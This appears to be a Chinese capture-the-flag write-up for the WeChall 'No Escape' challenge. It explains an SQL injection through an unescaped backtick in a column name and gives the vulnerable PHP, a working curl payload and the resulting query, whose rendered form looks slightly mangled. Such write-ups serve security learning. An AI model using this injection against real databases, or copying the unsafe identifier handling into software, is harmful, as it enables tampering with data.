WeChall - No Escape

Challenge

在线投票系统,需要将任意候选人的票数设为 111。票数达到 100 会自动重置。有源代码。

Solution

源码中 noesc_voteup() 的关键漏洞:

1
2
$who = GDO::escape($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

$who 被直接插入到 SQL 的列名位置(反引号内)。GDO::escape() 只转义字符串值(引号等),但不转义反引号

防御代码仅检查了 $who 以 'id' 开头或含 '/',但未过滤反引号:

1
2
3
4
if ( (stripos($who, 'id') === 0) || (strpos($who, '/') !== false) ) {
echo 'Please do not mess with the id.';
return;
}

利用反引号注入闭合列名,用 -- 注释掉后面的 SQL:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/no_escape/index.php?vote_for=scholz%60%3D111%20--%20'

URL 解码后 vote_for=scholz=111 -- `,执行的实际 SQL:

1
UPDATE noescvotes SET `scholz`=111 -- `=`scholz`=111 -- `+1 WHERE id=1

SET 子句被截断为 SETscholz=111,scholz 的票数直接设为 111。